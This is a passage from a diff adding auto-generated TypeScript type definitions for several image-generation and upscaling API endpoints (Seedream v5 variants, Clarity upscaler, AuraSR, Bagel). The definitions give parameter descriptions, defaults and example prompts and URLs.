inputBytedanceSeedreamV5FlashTextToImageImageSize] + +export type InputBytedanceSeedreamV5FlashTextToImage = { + /** + * @description The file format of the generated image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5FlashTextToImageOutputFormatEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The text prompt used to generate the image. + * @example Vibrant editorial of a model in contemporary fashion fused with West African textile patterns and beadwork, Campbell Addy bold aesthetic, saturated palette, dramatic studio lighting, celebratory cultural richness, striking contemporary portraiture + * @type string + */ + prompt: string + /** + * @description The size of the generated image. Total pixels must be between 921600 and 4624220, with aspect ratio between 1/16 and 16. + * @default auto_2K + * @example auto_2K + */ + image_size?: + | ImageSizeB298B686 + | InputBytedanceSeedreamV5FlashTextToImageImageSizeKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description Number of separate model generations to run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image5803E7D7 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedreamV5FlashTextToImage = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0aa16df4/ktjX_-2KKAw7bCTQgopGV_5b49dc459dfe484fbb1218fce0e24bc7.png"}] + * @type array + */ + images: Image5803E7D7[] +} + +export type SeedreamLiteImageSize = { + /** + * @description The height of the generated image. + * @maximum 16384 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 16384 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputBytedanceSeedreamV5LiteEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5LiteEditOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5LiteEditOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5LiteEditOutputFormatEnum] + +export const inputBytedanceSeedreamV5LiteEditSequentialImageGeneration = { + auto: 'auto', + disabled: 'disabled', +} as const + +export type InputBytedanceSeedreamV5LiteEditSequentialImageGenerationKey = + (typeof inputBytedanceSeedreamV5LiteEditSequentialImageGeneration)[keyof typeof inputBytedanceSeedreamV5LiteEditSequentialImageGeneration] + +export const inputBytedanceSeedreamV5LiteEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_2K: 'auto_2K', + auto_3K: 'auto_3K', + auto_4K: 'auto_4K', +} as const + +export type InputBytedanceSeedreamV5LiteEditImageSizeKey = + (typeof inputBytedanceSeedreamV5LiteEditImageSize)[keyof typeof inputBytedanceSeedreamV5LiteEditImageSize] + +export type InputBytedanceSeedreamV5LiteEdit = { + /** + * @description The file format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5LiteEditOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Generate related images with `auto`, or one image per generation with `disabled`. When omitted, values of `max_images` above one enable `auto`. + */ + sequential_image_generation?: InputBytedanceSeedreamV5LiteEditSequentialImageGenerationKey | null + /** + * @description Maximum images per generation in sequential mode. Ignored when sequential generation is disabled. Combined input references and outputs per generation cannot exceed 15. + * @minimum 1 + * @maximum 15 + * @default 1 + * @type integer | undefined + */ + max_images?: number + /** + * @description The size of the generated image. Custom dimensions within the provider's pixel and aspect limits are sent unchanged. Other sizes use compatible scaling. The provider's native pixel range is 2560x1440 to 4096x4096, with aspect ratio between 1/16 and 16. + * @default auto_2K + */ + image_size?: + | SeedreamLiteImageSize + | InputBytedanceSeedreamV5LiteEditImageSizeKey + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description List of URLs of input images for editing. When more than 10 references are provided, only the last 10 are used. + * @example ["https://v3b.fal.media/files/b/0a8f9936/KOsb_qPB_W0ZJ0Ee2OsnU_586e2892841d46f09049ee7199b303d3.png","https://v3b.fal.media/files/b/0a8f994e/JroWTogO6jOTFk9b6B3XM_591ca38cef2f44bbba2843cbf80fb1b2.png","https://v3b.fal.media/files/b/0a8f9960/Q6pzwXAiFaFPOpSScoE-D_0eca5db19e5242739f127efe49b38922.png"] + * @type array + */ + image_urls: string[] + /** + * @description The text prompt used to edit the image + * @example Replace the product in Figure 1 with that in Figure 2. Seamlessly render logo in Figure 3 into the product design, in frosted glass texture. Remove any extra text in Figure 1, and design a catchy tagline for the perfume. + * @type string + */ + prompt: string + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD81Bf6Ca = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBytedanceSeedreamV5LiteEdit = { + /** + * @description Seed used for generation. + * @example 42 + * @type integer + */ + seed: number + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8fbf56/wu9vcxO3xO6lkHv5zdiIs_7aa8564f6e4f4cc795ecb8e923deb2fb.png"}] + * @type array + */ + images: ImageD81Bf6Ca[] +} + +export const inputBytedanceSeedreamV5LiteTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5LiteTextToImageOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5LiteTextToImageOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5LiteTextToImageOutputFormatEnum] + +export const inputBytedanceSeedreamV5LiteTextToImageSequentialImageGeneration = + { + auto: 'auto', + disabled: 'disabled', + } as const + +export type InputBytedanceSeedreamV5LiteTextToImageSequentialImageGenerationKey = + (typeof inputBytedanceSeedreamV5LiteTextToImageSequentialImageGeneration)[keyof typeof inputBytedanceSeedreamV5LiteTextToImageSequentialImageGeneration] + +export const inputBytedanceSeedreamV5LiteTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_2K: 'auto_2K', + auto_3K: 'auto_3K', + auto_4K: 'auto_4K', +} as const + +export type InputBytedanceSeedreamV5LiteTextToImageImageSizeKey = + (typeof inputBytedanceSeedreamV5LiteTextToImageImageSize)[keyof typeof inputBytedanceSeedreamV5LiteTextToImageImageSize] + +export type InputBytedanceSeedreamV5LiteTextToImage = { + /** + * @description The file format of the generated images. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5LiteTextToImageOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Generate related images with `auto`, or one image per generation with `disabled`. When omitted, values of `max_images` above one enable `auto`. + */ + sequential_image_generation?: InputBytedanceSeedreamV5LiteTextToImageSequentialImageGenerationKey | null + /** + * @description Maximum images per generation in sequential mode. Ignored when sequential generation is disabled. Combined input references and outputs per generation cannot exceed 15. + * @minimum 1 + * @maximum 15 + * @default 1 + * @type integer | undefined + */ + max_images?: number + /** + * @description The size of the generated image. Custom dimensions within the provider's pixel and aspect limits are sent unchanged. Other sizes use compatible scaling. The provider's native pixel range is 2560x1440 to 4096x4096, with aspect ratio between 1/16 and 16. + * @default auto_2K + */ + image_size?: + | SeedreamLiteImageSize + | InputBytedanceSeedreamV5LiteTextToImageImageSizeKey + /** + * @description Number of separate model generations to be run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true returns seedance-2 trusted URLs. Please note these urls expire in 24 hours. + * @default false + * @type boolean | undefined + */ + return_byteplus_urls?: boolean + /** + * @description The text prompt used to generate the image + * @example Realistic DSLR photograph of anthropomorphic Penkingese dog enjoying a bowl of ramen on the Great Wall of China with the words "Seedream 5.0 Lite available on fal" visible at the top. + * @type string + */ + prompt: string + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageD2C9880F = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null +} + +export type OutputBytedanceSeedreamV5LiteTextToImage = { + /** + * @description Seed used for generation. + * @example 42 + * @type integer + */ + seed: number + /** + * @description Generated images + * @example [{"url":"https://v3b.fal.media/files/b/0a8fbf48/fv693UaOADKqnujJRZN90_4518fc5e1fed4fb29963b22a8cc3d5a6.png"}] + * @type array + */ + images: ImageD2C9880F[] +} + +export type ImageSize7E66625E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputBytedanceSeedreamV5ProEditOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5ProEditOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5ProEditOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5ProEditOutputFormatEnum] + +export const inputBytedanceSeedreamV5ProEditEnhancePromptModeEnum = { + standard: 'standard', + fast: 'fast', +} as const + +export type InputBytedanceSeedreamV5ProEditEnhancePromptModeEnumKey = + (typeof inputBytedanceSeedreamV5ProEditEnhancePromptModeEnum)[keyof typeof inputBytedanceSeedreamV5ProEditEnhancePromptModeEnum] + +export const inputBytedanceSeedreamV5ProEditImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5ProEditImageSizeKey = + (typeof inputBytedanceSeedreamV5ProEditImageSize)[keyof typeof inputBytedanceSeedreamV5ProEditImageSize] + +export const inputBytedanceSeedreamV5ProEditBackgroundEnum = { + opaque: 'opaque', + transparent: 'transparent', +} as const + +export type InputBytedanceSeedreamV5ProEditBackgroundEnumKey = + (typeof inputBytedanceSeedreamV5ProEditBackgroundEnum)[keyof typeof inputBytedanceSeedreamV5ProEditBackgroundEnum] + +export type InputBytedanceSeedreamV5ProEdit = { + /** + * @description The file format of the generated image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5ProEditOutputFormatEnumKey + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Prompt optimization mode. `standard` prioritizes image quality; `fast` reduces generation time. + * @default 'standard' + * @type string | undefined + */ + enhance_prompt_mode?: InputBytedanceSeedreamV5ProEditEnhancePromptModeEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description The size of the generated image. Total pixels must be between 921600 and 4624220, with aspect ratio between 1/16 and 16. + * @default auto_2K + * @example auto_2K + */ + image_size?: ImageSize7E66625E | InputBytedanceSeedreamV5ProEditImageSizeKey + /** + * @description Number of separate model generations to run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description List of URLs of input reference images. Up to 10 images are supported; if more are sent, only the last 10 are used. + * @example ["https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_1.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_2.png","https://storage.googleapis.com/falserverless/example_inputs/seedreamv45/seedream_v45_edit_input_3.png"] + * @type array + */ + image_urls: string[] + /** + * @description The text prompt used to edit the image. + * @example Replace the product in Figure 1 with that in Figure 2. Seamlessly render the logo in Figure 3 into the product design, in a frosted glass texture. + * @type string + */ + prompt: string + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description Use `transparent` with exactly one alpha-channel reference and PNG output to preserve transparency. + * @default 'opaque' + * @type string | undefined + */ + background?: InputBytedanceSeedreamV5ProEditBackgroundEnumKey +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageCca55663 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedreamV5ProEdit = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0aa16df4/L8veDBOTxHhmpO5wQnioS_14c2d9c1736b4803a43796669c6d4fca.png"}] + * @type array + */ + images: ImageCca55663[] +} + +export const inputBytedanceSeedreamV5ProLayerizeOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5ProLayerizeOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5ProLayerizeOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5ProLayerizeOutputFormatEnum] + +export const inputBytedanceSeedreamV5ProLayerizeEnhancePromptModeEnum = { + standard: 'standard', + fast: 'fast', +} as const + +export type InputBytedanceSeedreamV5ProLayerizeEnhancePromptModeEnumKey = + (typeof inputBytedanceSeedreamV5ProLayerizeEnhancePromptModeEnum)[keyof typeof inputBytedanceSeedreamV5ProLayerizeEnhancePromptModeEnum] + +export const inputBytedanceSeedreamV5ProLayerizeImageSizeEnum = { + auto: 'auto', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5ProLayerizeImageSizeEnumKey = + (typeof inputBytedanceSeedreamV5ProLayerizeImageSizeEnum)[keyof typeof inputBytedanceSeedreamV5ProLayerizeImageSizeEnum] + +export type InputBytedanceSeedreamV5ProLayerize = { + /** + * @description Format of the base image. Separated layers always use PNG. + * @default 'png' + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5ProLayerizeOutputFormatEnumKey + /** + * @description Optional instructions describing which elements to separate. When empty, the model automatically separates the major elements. Normalized `left top right bottom` tags may be used for precise coordinate targeting. + * @default '' + * @example Return name and description in english. + * @type string | undefined + */ + prompt?: string + /** + * @description Prompt optimization mode. `standard` prioritizes image quality; `fast` reduces generation time. + * @default 'standard' + * @type string | undefined + */ + enhance_prompt_mode?: InputBytedanceSeedreamV5ProLayerizeEnhancePromptModeEnumKey + /** + * @description Resolution tier for the output base image and layers. `auto` adapts to the input image while preserving each element's aspect ratio. + * @default 'auto' + * @example auto + * @type string | undefined + */ + image_size?: InputBytedanceSeedreamV5ProLayerizeImageSizeEnumKey + /** + * @description URL of the image to decompose into a base image and independently editable layers. The image must contain between 512x512 and 6000x6000 total pixels, have an aspect ratio between 1/16 and 16, and be no larger than 30 MB. + * @example https://storage.googleapis.com/falserverless/example_inputs/kontext_example_input.webp + * @type string + */ + image_url: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +export type SeedDream50ProLayerBoundingBox015Ae97F = { + /** + * @description Layer bounds as [left, top, right, bottom] pixel coordinates in the output base image coordinate system. + * @type array + */ + absolute: number[] + /** + * @description Layer bounds as [left, top, right, bottom] coordinates normalized to the integer range [0, 1000]. + * @type array + */ + normalized: number[] +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image033D075A = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type SeedDream50ProLayerD2656Af2 = { + /** + * @description The layer's position in the base image coordinate system. Omitted for the base image. + */ + bounding_box?: SeedDream50ProLayerBoundingBox015Ae97F | null + /** + * @description Model-generated label for the layer. Omitted for the base image. + */ + name?: string | null + /** + * @description Stacking order from bottom to top. The base image always has z_index 0. + * @minimum 0 + * @maximum 16 + * @type integer + */ + z_index: number + /** + * @description The generated base image or separated layer. + * @type object + */ + image: Image033D075A + /** + * @description Detailed model-generated description of the layer. Omitted for the base image. + */ + description?: string | null +} + +export type OutputBytedanceSeedreamV5ProLayerize = { + /** + * @description The base image followed by up to 16 separated layers, ordered by increasing z_index. + * @type array + */ + layers: SeedDream50ProLayerD2656Af2[] + /** + * @description The same images as `layers`, in the same order, flattened for gallery rendering. + * @example [{"url":"https://v3b.fal.media/files/b/0aa54c02/95ZvKubW63JnC9ubRbDo2_74290e95fb6d4bd4bac756f3e2667317.png"}] + * @type array + */ + images: Image033D075A[] +} + +export type ImageSizeAf309Ab3 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputBytedanceSeedreamV5ProTextToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputBytedanceSeedreamV5ProTextToImageOutputFormatEnumKey = + (typeof inputBytedanceSeedreamV5ProTextToImageOutputFormatEnum)[keyof typeof inputBytedanceSeedreamV5ProTextToImageOutputFormatEnum] + +export const inputBytedanceSeedreamV5ProTextToImageEnhancePromptModeEnum = { + standard: 'standard', + fast: 'fast', +} as const + +export type InputBytedanceSeedreamV5ProTextToImageEnhancePromptModeEnumKey = + (typeof inputBytedanceSeedreamV5ProTextToImageEnhancePromptModeEnum)[keyof typeof inputBytedanceSeedreamV5ProTextToImageEnhancePromptModeEnum] + +export const inputBytedanceSeedreamV5ProTextToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', + auto_1K: 'auto_1K', + 'auto_1.5K': 'auto_1.5K', + auto_2K: 'auto_2K', +} as const + +export type InputBytedanceSeedreamV5ProTextToImageImageSizeKey = + (typeof inputBytedanceSeedreamV5ProTextToImageImageSize)[keyof typeof inputBytedanceSeedreamV5ProTextToImageImageSize] + +export type InputBytedanceSeedreamV5ProTextToImage = { + /** + * @description The file format of the generated image. + * @default 'jpeg' + * @example jpeg + * @type string | undefined + */ + output_format?: InputBytedanceSeedreamV5ProTextToImageOutputFormatEnumKey + /** + * @description The text prompt used to generate the image. + * @example Vibrant editorial of a model in contemporary fashion fused with West African textile patterns and beadwork, Campbell Addy bold aesthetic, saturated palette, dramatic studio lighting, celebratory cultural richness, striking contemporary portraiture + * @type string + */ + prompt: string + /** + * @description Prompt optimization mode. `standard` prioritizes image quality; `fast` reduces generation time. + * @default 'standard' + * @type string | undefined + */ + enhance_prompt_mode?: InputBytedanceSeedreamV5ProTextToImageEnhancePromptModeEnumKey + /** + * @description The size of the generated image. Total pixels must be between 921600 and 4624220, with aspect ratio between 1/16 and 16. + * @default auto_2K + * @example auto_2K + */ + image_size?: + | ImageSizeAf309Ab3 + | InputBytedanceSeedreamV5ProTextToImageImageSizeKey + /** + * @description Number of separate model generations to run with the prompt. + * @minimum 1 + * @maximum 6 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked. + * @default true + * @example true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description Whether to add the provider's visible watermark. + * @default false + * @type boolean | undefined + */ + watermark?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image323200D0 = { + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null +} + +export type OutputBytedanceSeedreamV5ProTextToImage = { + /** + * @description Generated images. + * @example [{"url":"https://v3b.fal.media/files/b/0aa16df4/ktjX_-2KKAw7bCTQgopGV_5b49dc459dfe484fbb1218fce0e24bc7.png"}] + * @type array + */ + images: Image323200D0[] +} + +export const inputClarityaiCrystalUpscalerOutputFormatEnum = { + png: 'png', + jpg: 'jpg', +} as const + +export type InputClarityaiCrystalUpscalerOutputFormatEnumKey = + (typeof inputClarityaiCrystalUpscalerOutputFormatEnum)[keyof typeof inputClarityaiCrystalUpscalerOutputFormatEnum] + +export type InputClarityaiCrystalUpscaler = { + /** + * @description Output image format + * @default 'jpg' + * @type string | undefined + */ + output_format?: InputClarityaiCrystalUpscalerOutputFormatEnumKey + /** + * @description Creativity level for upscaling + * @minimum 0 + * @maximum 10 + * @default 0 + * @type number | undefined + */ + creativity?: number + /** + * @description URL to the input image + * @example https://v3b.fal.media/files/b/zebra/eW3waMFDT-2_7Pq8j3r9d_upscaled.png + * @type string + */ + image_url: string + /** + * @description Scale factor + * @minimum 1 + * @maximum 200 + * @default 2 + * @type number | undefined + */ + scale_factor?: number + /** + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image45B39Fdb = { + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null +} + +export type OutputClarityaiCrystalUpscaler = { + /** + * @description List of upscaled images + * @example ["https://v3b.fal.media/files/b/penguin/sVriwxLaU3fVTz5B-xBBC_upscaled.png"] + * @type array + */ + images: Image45B39Fdb[] +} + +export const inputFalAiAuraSrCheckpointEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiAuraSrCheckpointEnumKey = + (typeof inputFalAiAuraSrCheckpointEnum)[keyof typeof inputFalAiAuraSrCheckpointEnum] + +export type InputFalAiAuraSr = { + /** + * @description Whether to use overlapping tiles for upscaling. Setting this to true helps remove seams but doubles the inference time. + * @default false + * @example true + * @example false + * @type boolean | undefined + */ + overlapping_tiles?: boolean + /** + * @description Checkpoint to use for upscaling. More coming soon. + * @default 'v1' + * @example v2 + * @example v1 + * @type string | undefined + */ + checkpoint?: InputFalAiAuraSrCheckpointEnumKey + /** + * @description Upscaling factor. More coming soon. + * @default 4 + * @example 4 + * @type number | undefined + */ + upscale_factor?: 4 + /** + * @description URL of the image to upscale. + * @example https://storage.googleapis.com/falserverless/model_tests/svd/rocket.png + * @example https://storage.googleapis.com/falserverless/example_inputs/dog.png + * @example https://storage.googleapis.com/falserverless/example_inputs/girl.jpg + * @type string + */ + image_url: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA9F2C60C = { + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null +} + +export type OutputFalAiAuraSr = { + /** + * @description Upscaled image + * @type object + */ + image: ImageA9F2C60C + /** + * @description Timings for each step in the pipeline. + * @type object + */ + timings: { + [key: string]: number + } +} + +export type InputFalAiBagel = { + /** + * @description The seed to use for the generation. + * @type integer | undefined + */ + seed?: number + /** + * @description Whether to use thought tokens for generation. If set to true, the model will "think" to potentially improve generation quality. Increases generation time and increases the cost by 20%. + * @default false + * @type boolean | undefined + */ + use_thought?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The prompt to generate an image from. + * @example A luminous ancient temple floating among cosmic clouds, with impossible architecture of twisted spires and inverted arches. The structure is half-built from crystalline white marble and half from living bioluminescent coral in vibrant teal and purple. Ethereal light filters through stained glass windows depicting mythological scenes. Tiny cloaked figures with glowing lanterns traverse impossible staircases. In the foreground, a massive ornate door stands slightly ajar, revealing a glimpse of swirling golden energy within. The scene is lit by two moons of different colors, casting overlapping shadows. Cinematic lighting, hyper-detailed textures, 8K resolution. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image327B85Ea = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null +} + +export type OutputFalAiBagel = { + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + /** + * @description The generated images. + * @example [{"file_name":"wRhCPSyiKTiLnnWvUpGIl.jpeg","url":"https://storage.googleapis.com/falserverless/bagel/wRhCPSyiKTiLnnWvUpGIl.jpeg","height":1024,"width":1024,"content_type":"image/jpeg","file_size":423052}] + * @type array + */ + images: Image327B85Ea[] + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] +} + +export type InputFalAiBagelEdit = { + /** + * @description The seed to use for the generation. + * @type integer | undefined + */ + seed?: number + /** + * @description Whether to use thought tokens for generation. If set to true, the model will "think" to potentially improve generation quality. Increases generation time and increases the cost by 20%. + * @default false + * @type boolean | undefined + */ + use_thought?: boolean + /** + * @description If set to true, the safety checker will be enabled. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The image to edit. + * @example https://storage.googleapis.com/falserverless/bagel/wRhCPSyiKTiLnnWvUpGIl.jpeg + * @type string + */ + image_url: string + /** + * @description The prompt to edit the image with. + * @example Change the cosmic cloud background of the floating temple to a clear blue sky with a gentle sunrise on the horizon. Keep all temple architecture, figures, and other elements exactly as they are. + * @type string + */ + prompt: string +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image137Ac671 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * 